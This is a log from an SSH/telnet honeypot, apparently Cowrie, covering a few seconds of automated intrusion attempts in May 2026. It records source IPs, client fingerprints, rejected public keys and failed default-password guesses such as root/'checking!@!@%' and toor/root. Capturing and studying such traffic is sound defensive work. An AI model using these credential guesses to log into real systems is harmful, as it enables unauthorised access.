{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:21:a9:9a:15:b1:a4:ba:b9:1d:da:e9:c1:69:b6:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0dKvh0sFy/831EemPmWzvVTHQH8W2SZdzAujSrxR85I5/FGlxklL5VyCwLftUn2A1Uqc2442YB8X/9IjppHqwFTxrDj9m2ZzAf5L/SZghc72l7BrFNvehy2w3etNDFUoe8s2cxiYekpt3nBzfX/gzE71nlwULE8cdgWw7IT4gKsmw0oabUoIzWsAow9CYAL4dxUjMGRSBh7y8xGdEm0S8wOOjDTtOZfLHef0Cr/WubyWi0qiPsVutJImkZkSwnrRPm4/hbuqHGibN5nkq2NX2E/HqtmcHse5EyK4kScflS8WRaif97LF82SaEYjiTDuy5j9u/EjSGuyW9VivxJeYQgOKnXCRtBZ9tRvLL+yrkMMPn/TaMxhWC1oF+MoTRxhYUALLZRr4A2ed6x+SNJWhTEohfm9Bn/cJUZZ4iprEFa4vkr5oSJ+KiOvxrymQsNIAHLECIyzTqW9YUmntZCJqGbn3IUX9EJrXsE6IYujR2ZXJzt1O1X2Y8s7Kxs8JFNZc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.111959Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:4e:9a:38:19:e2:3f:76:52:f4:68:76:90:15:ae:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYrLyeOBk/6Hj7kHGdpAliUtu2l2UPFN4xKCTUJHFeZ5ZI/FlAAp0vY0/t64vazmP0vei+mr0n8bTYD90mHgeePMDNaA0PRc4R2q6HqSojvxR8i6jytCM25zrOJU0wAt5Ln6BxxbImJfCtrS5YNsPPSsXx+yM1icO7i8J7IKBbrkbhfJ8fqygtSKFmiZ2OQkrUXyWi+3MCm/K9OWGUyeM/UsHqGvZfby3fQpsWzTxry+IW67PA88dLKxVsAZYk+p4rWn8VeWoaJjWuCS2ghqitfInzNR1O24c5kt0cGcC7mIc3lVmcfByeNGGUqsoM10odhPnLLRJFNeDORtDaogpf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:4e:9a:38:19:e2:3f:76:52:f4:68:76:90:15:ae:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.199781Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:4e:9a:38:19:e2:3f:76:52:f4:68:76:90:15:ae:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYrLyeOBk/6Hj7kHGdpAliUtu2l2UPFN4xKCTUJHFeZ5ZI/FlAAp0vY0/t64vazmP0vei+mr0n8bTYD90mHgeePMDNaA0PRc4R2q6HqSojvxR8i6jytCM25zrOJU0wAt5Ln6BxxbImJfCtrS5YNsPPSsXx+yM1icO7i8J7IKBbrkbhfJ8fqygtSKFmiZ2OQkrUXyWi+3MCm/K9OWGUyeM/UsHqGvZfby3fQpsWzTxry+IW67PA88dLKxVsAZYk+p4rWn8VeWoaJjWuCS2ghqitfInzNR1O24c5kt0cGcC7mIc3lVmcfByeNGGUqsoM10odhPnLLRJFNeDORtDaogpf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.203498Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:af:24:2f:73:ec:bc:60:94:2b:f6:8d:ad:96:c7:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7zYak1u8WEqmC16POuFRC7LyNEmsNCnCtXi3EFY3UvDPi17yzhYVQfeQiX8V85sKrNEi6l1BNTUTSp0tQHh0JtwX8Dy1OLnEc+YntiADqFQIqoR2ZchzCYczSa9maPM5Ou3eQZhzi3ONjTgRopU66x67Sn1NUEPsIOeYUgQdWPNTnuTWFNuj/Gr3HyvsfQKbkJRK3haHNdS2Vy6SjAhlxiSwhs8SpxefTPeIjjUknXXj+z7jUkIXC7iQ6efZFhXLR3tkyb9Pf8N45g55qxuYxcdGgicrG/bCSozwieVSKq5v6X0utmw0lTiqMt15a0aqkc9JSIVtuUDOY7IINXl/1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:af:24:2f:73:ec:bc:60:94:2b:f6:8d:ad:96:c7:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.291404Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:af:24:2f:73:ec:bc:60:94:2b:f6:8d:ad:96:c7:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7zYak1u8WEqmC16POuFRC7LyNEmsNCnCtXi3EFY3UvDPi17yzhYVQfeQiX8V85sKrNEi6l1BNTUTSp0tQHh0JtwX8Dy1OLnEc+YntiADqFQIqoR2ZchzCYczSa9maPM5Ou3eQZhzi3ONjTgRopU66x67Sn1NUEPsIOeYUgQdWPNTnuTWFNuj/Gr3HyvsfQKbkJRK3haHNdS2Vy6SjAhlxiSwhs8SpxefTPeIjjUknXXj+z7jUkIXC7iQ6efZFhXLR3tkyb9Pf8N45g55qxuYxcdGgicrG/bCSozwieVSKq5v6X0utmw0lTiqMt15a0aqkc9JSIVtuUDOY7IINXl/1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.296019Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:14:74:ed:d5:d3:12:00:e1:fc:ce:1e:5d:4c:a0:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJCI0Z0HmgWW62FRcLUgjxSBEQRt9l4ZYvuEWsdOLQELi/JOl8w5aaCp+KLjNEegpzd4YaRwWDkZyMDMNk7H8RF2unzmkZ0fuxgbvMV0Ik8094Uh3f9v/WezqWhahMLatx96wwZ9wdkkzJnH9LGQlokhTQeb+Q6NBaiOneQ47YF6Oal1crCocEl5+SLA7sTEiTtxXgjMwXeMNV0JFekKUUE8pFxGw0qbC9gmu+2tC4ydRutUBFvUZz+XfcYueb61a52r9PvfANxgs5ZMzue+601/zvvN/z+QJ3MwopIfywF3W81qutHZL5fh7AvHBeiDVJx6IFiVb5Pfa4wZ17Gez5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:14:74:ed:d5:d3:12:00:e1:fc:ce:1e:5d:4c:a0:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.387053Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:14:74:ed:d5:d3:12:00:e1:fc:ce:1e:5d:4c:a0:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJCI0Z0HmgWW62FRcLUgjxSBEQRt9l4ZYvuEWsdOLQELi/JOl8w5aaCp+KLjNEegpzd4YaRwWDkZyMDMNk7H8RF2unzmkZ0fuxgbvMV0Ik8094Uh3f9v/WezqWhahMLatx96wwZ9wdkkzJnH9LGQlokhTQeb+Q6NBaiOneQ47YF6Oal1crCocEl5+SLA7sTEiTtxXgjMwXeMNV0JFekKUUE8pFxGw0qbC9gmu+2tC4ydRutUBFvUZz+XfcYueb61a52r9PvfANxgs5ZMzue+601/zvvN/z+QJ3MwopIfywF3W81qutHZL5fh7AvHBeiDVJx6IFiVb5Pfa4wZ17Gez5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.391956Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:7b:23:bc:93:2e:d3:10:df:ce:3b:f2:57:76:b4:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKDqpss2NSRS28H+YBNs67PTTP7E39Puy4Xq7Wh5dSufChGU9x/zZ7X6Bz9dOcBEfp82P22GPcIg3T46nniwiWgORKr6wAzLC/Sck8z3SIIRK/WRMd+g/raa3lRSTPBkMtJmFSOXNDaA5EEADSWao9vP1cr5AC7hT2uw6jsVMCVGoQ91DF3kT/8F0Vadnpuz/D7Zg+vTzcvcmEYHm0gtdkZAgbppk+8OvcWgaNEeNEIGeoyJa0AxLryNA592I1wERdcvViSonqR/h10sx5U9BhX0It6ydCKVKbMAoT89SoUwcakBr540p+oC2VjsqOsHXeJ3HE1Yf6Uf+sXDC85LITHZUP/svlLDn40JK5omkMA36PeOYZm92SpiThlN8VwYKwVa9GJzXI4FNVApiOqDD0gT3ItCV51ufGRxl0xAPKkfPHJzqxk/8DdqI/hx0aRDayc0Db7CygR5A84m+s8WMh5sN3Bso1e0gvbRuO8+CVFt8Vsw20hzs5+I015ZV3mN5p4n0Dd3HZIaaWqu/06RZ1b977CMje9bEiCimuwcYsz+trdQWqGi53Mwp+Km/fyWTfAHP5LgBl0vuY7/V0HZ4da0trsLWghAMavJ0HAHnGSnZ8PQOly8jIDfw8oOF7/qC2d8Ma41k5tL2+1+pomvQXQBKGIExgFlJh+DjrG223Zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:7b:23:bc:93:2e:d3:10:df:ce:3b:f2:57:76:b4:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.479868Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:7b:23:bc:93:2e:d3:10:df:ce:3b:f2:57:76:b4:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKDqpss2NSRS28H+YBNs67PTTP7E39Puy4Xq7Wh5dSufChGU9x/zZ7X6Bz9dOcBEfp82P22GPcIg3T46nniwiWgORKr6wAzLC/Sck8z3SIIRK/WRMd+g/raa3lRSTPBkMtJmFSOXNDaA5EEADSWao9vP1cr5AC7hT2uw6jsVMCVGoQ91DF3kT/8F0Vadnpuz/D7Zg+vTzcvcmEYHm0gtdkZAgbppk+8OvcWgaNEeNEIGeoyJa0AxLryNA592I1wERdcvViSonqR/h10sx5U9BhX0It6ydCKVKbMAoT89SoUwcakBr540p+oC2VjsqOsHXeJ3HE1Yf6Uf+sXDC85LITHZUP/svlLDn40JK5omkMA36PeOYZm92SpiThlN8VwYKwVa9GJzXI4FNVApiOqDD0gT3ItCV51ufGRxl0xAPKkfPHJzqxk/8DdqI/hx0aRDayc0Db7CygR5A84m+s8WMh5sN3Bso1e0gvbRuO8+CVFt8Vsw20hzs5+I015ZV3mN5p4n0Dd3HZIaaWqu/06RZ1b977CMje9bEiCimuwcYsz+trdQWqGi53Mwp+Km/fyWTfAHP5LgBl0vuY7/V0HZ4da0trsLWghAMavJ0HAHnGSnZ8PQOly8jIDfw8oOF7/qC2d8Ma41k5tL2+1+pomvQXQBKGIExgFlJh+DjrG223Zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.484076Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:35.572655Z","src_ip":"31.42.176.142","session":"52ea9c967956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":47623,"dst_ip":"159.203.135.109","dst_port":22,"session":"079ccf3a85b3","protocol":"ssh","message":"New connection: 201.77.124.248:47623 (159.203.135.109:22) [session: 079ccf3a85b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:57.627647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:57.633214Z","src_ip":"201.77.124.248","session":"079ccf3a85b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:57.787852Z","src_ip":"201.77.124.248","session":"079ccf3a85b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"000000","message":"login attempt [user/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:58.361089Z","src_ip":"201.77.124.248","session":"079ccf3a85b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":55452,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecfd2bbad6cd","protocol":"ssh","message":"New connection: 103.98.149.87:55452 (10.17.0.5:22) [session: ecfd2bbad6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:58.467684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:58.477232Z","src_ip":"103.98.149.87","session":"ecfd2bbad6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:58.698851Z","src_ip":"103.98.149.87","session":"ecfd2bbad6cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:59.366982Z","src_ip":"103.98.149.87","session":"ecfd2bbad6cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:42:59.503926Z","src_ip":"201.77.124.248","session":"079ccf3a85b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:00.599783Z","src_ip":"103.98.149.87","session":"ecfd2bbad6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56280,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac6fb73cf82","protocol":"ssh","message":"New connection: 103.153.68.219:56280 (10.17.0.5:22) [session: cac6fb73cf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:06.999353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:07.004801Z","src_ip":"103.153.68.219","session":"cac6fb73cf82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:07.250599Z","src_ip":"103.153.68.219","session":"cac6fb73cf82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:07.987951Z","src_ip":"103.153.68.219","session":"cac6fb73cf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60290,"dst_ip":"159.203.135.109","dst_port":22,"session":"68eda28f10e2","protocol":"ssh","message":"New connection: 109.91.4.177:60290 (159.203.135.109:22) [session: 68eda28f10e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:08.109632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:08.116596Z","src_ip":"109.91.4.177","session":"68eda28f10e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34958,"dst_ip":"10.17.0.5","dst_port":23,"session":"c58684480a75","protocol":"telnet","message":"New connection: 50.6.8.71:34958 (10.17.0.5:23) [session: c58684480a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:08.203045Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:08.231874Z","src_ip":"109.91.4.177","session":"68eda28f10e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"root","message":"login attempt [toor/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:09.041084Z","src_ip":"109.91.4.177","session":"68eda28f10e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:09.235655Z","src_ip":"103.153.68.219","session":"cac6fb73cf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":53862,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa69ffe8787","protocol":"ssh","message":"New connection: 103.75.183.219:53862 (10.17.0.5:22) [session: dfa69ffe8787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:09.888805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:09.894319Z","src_ip":"103.75.183.219","session":"dfa69ffe8787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:10.139056Z","src_ip":"103.75.183.219","session":"dfa69ffe8787","protocol":"ssh"}
